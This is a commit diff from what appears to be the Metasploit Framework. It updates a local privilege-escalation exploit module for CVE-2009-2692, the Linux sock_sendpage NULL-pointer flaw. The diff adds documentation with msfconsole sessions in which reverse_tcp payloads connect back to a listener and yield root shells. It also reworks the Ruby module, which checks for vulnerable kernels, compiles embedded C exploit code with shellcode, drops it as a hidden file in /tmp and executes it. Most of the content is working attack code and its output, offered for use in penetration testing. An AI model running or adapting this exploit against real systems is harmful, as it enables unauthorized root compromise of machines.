Land #9853, Update Linux sock_sendpage local exploit module
parent
92ada42fc5
commit
3b7d2c8177
|
@ -0,0 +1,121 @@
|
|||
## Description
|
||||
|
||||
The Linux kernel failed to properly initialize some entries in the
|
||||
`proto_ops` struct for several protocols, leading to `NULL` being
|
||||
dereferenced and used as a function pointer. By using `mmap(2)` to map
|
||||
page `0`, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
|
||||
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
|
||||
* 2.4.4 up to and including 2.4.37.4
|
||||
* 2.6.0 up to and including 2.6.30.4
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/sock_sendpage`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**DEBUG_EXPLOIT**
|
||||
|
||||
Enable exploit debug messages. (default: `false`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/sock_sendpage
|
||||
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/sock_sendpage) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(linux/local/sock_sendpage) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 2.6.18 appears to be vulnerable
|
||||
[+] System architecture i686 is supported
|
||||
[+] vm.mmap_min_addr is not set
|
||||
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||
[*] Executing payload...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (857352 bytes) to 172.16.191.159
|
||||
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.159
|
||||
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
|
||||
Architecture : i686
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
|
||||
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/sock_sendpage
|
||||
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/sock_sendpage) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 2.4.27 appears to be vulnerable
|
||||
[+] System architecture i686 is supported
|
||||
[+] vm.mmap_min_addr is not set
|
||||
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (36 bytes) to 172.16.191.227
|
||||
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
|
||||
[!] Tried to delete /tmp/.69p3FeagB, unknown result
|
||||
|
||||
3356110123
|
||||
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
|
||||
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
|
||||
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=100(users)
|
||||
uname -a
|
||||
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
|
||||
```
|
||||
|
|
@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
|
|||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Local::LinuxKernel
|
||||
include Msf::Exploit::Local::Linux
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Linux kernel failed to properly initialize some entries the
|
||||
proto_ops struct for several protocols, leading to NULL being
|
||||
dereferenced and used as a function pointer. By using mmap(2) to map
|
||||
page 0, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Linux kernel failed to properly initialize some entries in the
|
||||
proto_ops struct for several protocols, leading to NULL being
|
||||
dereferenced and used as a function pointer. By using mmap(2) to map
|
||||
page 0, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
|
||||
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # discovery
|
||||
'Julien Tinnes <julien at cr0.org>', # discovery
|
||||
'spender', # wunderbar_emporium.tgz
|
||||
'rcvalle', # sock_sendpage.c
|
||||
'egypt' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2692' ],
|
||||
[ 'OSVDB', '56992' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "Aug 13 2009",
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||
])
|
||||
register_options([
|
||||
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
||||
])
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
|
||||
|
||||
This module has been tested successfully on CentOS 5.0 (i386) with
|
||||
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
|
||||
kernel version 2.4.27-3-386.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy', # discovery
|
||||
'Julien Tinnes <julien at cr0.org>', # discovery
|
||||
'spender', # wunderbar_emporium.tgz
|
||||
'rcvalle', # sock_sendpage.c
|
||||
'egypt' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2692' ],
|
||||
[ 'EDB', '9545' ],
|
||||
[ 'EDB', '9641' ],
|
||||
[ 'BID', '36038' ],
|
||||
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 13 2009',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||
]
|
||||
end
|
||||
|
||||
def executable_path
|
||||
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
@executable_path
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def check
|
||||
version = Gem::Version.new kernel_release.split('-').first
|
||||
|
||||
if version.to_s.eql? ''
|
||||
vprint_error 'Could not determine the kernel version'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
|
||||
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
|
||||
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||
else
|
||||
vprint_error "Kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include?('x86') || arch =~ /i\d86/
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
if arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
|
||||
if file_exist? mmap_min_addr_path
|
||||
mmap_min_addr = read_file mmap_min_addr_path
|
||||
else
|
||||
mmap_min_addr = ''
|
||||
end
|
||||
|
||||
case mmap_min_addr
|
||||
when ''
|
||||
vprint_good 'vm.mmap_min_addr is not set'
|
||||
when '0'
|
||||
vprint_good 'vm.mmap_min_addr is zero'
|
||||
else
|
||||
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
sc = Metasm::ELF.new(@cpu)
|
||||
if check == CheckCode::Safe
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
sc = Metasm::ELF.new @cpu
|
||||
sc.parse %Q|
|
||||
#ifdef __ELF__
|
||||
.section ".bss" rwx
|
||||
.section ".text" rwx
|
||||
#endif
|
||||
|
|
||||
current_task_struct_h(sc)
|
||||
if datastore["DEBUG_EXPLOIT"]
|
||||
current_task_struct_h sc
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
cparser.parse "#define DEBUG\n"
|
||||
end
|
||||
|
||||
case target.arch.first
|
||||
when ARCH_X86
|
||||
main = %q^
|
||||
main = %q^
|
||||
|
||||
struct _IO_FILE;
|
||||
typedef void _IO_lock_t;
|
||||
|
@ -244,6 +312,7 @@ int *apparmor_enabled;
|
|||
int got_ring0 = 0;
|
||||
unsigned long uid, gid;
|
||||
|
||||
/*
|
||||
static unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
|
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
|
|||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
*/
|
||||
|
||||
static void
|
||||
change_cred(void)
|
||||
|
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
|
|||
|
||||
return got_ring0;
|
||||
}
|
||||
|
||||
^
|
||||
main.gsub!(/SHELLCODE/) do
|
||||
# Split the payload into chunks and dump it out as a hex-escaped
|
||||
# literal C string.
|
||||
Rex::Text.to_c(payload.encoded, 64, "shellcode")
|
||||
end
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
|
||||
cparser.parse(main, "main.c")
|
||||
#$stderr.puts cparser.factorize
|
||||
#return
|
||||
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
sc.parse asm
|
||||
main.gsub!(/SHELLCODE/) do
|
||||
# Split the payload into chunks and dump it out as a hex-escaped
|
||||
# literal C string.
|
||||
Rex::Text.to_c payload.encoded, 64, 'shellcode'
|
||||
end
|
||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||
|
||||
cparser.parse main, 'main.c'
|
||||
#$stderr.puts cparser.factorize
|
||||
#return
|
||||
|
||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||
|
||||
sc.parse asm
|
||||
sc.assemble
|
||||
sc.c_set_default_entrypoint
|
||||
|
||||
|
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
|
|||
elf = sc.encode_string
|
||||
else
|
||||
foo = sc.encode_string
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
|
||||
end
|
||||
rescue
|
||||
print_error "Metasm Encoding failed: #{$!}"
|
||||
|
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
|
|||
return
|
||||
end
|
||||
|
||||
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
||||
rm_f executable_path
|
||||
write_file(executable_path, elf)
|
||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
|
||||
|
||||
upload payload_path, elf
|
||||
cmd_exec "chmod +x #{payload_path}"
|
||||
|
||||
print_status 'Executing payload...'
|
||||
output = cmd_exec payload_path
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue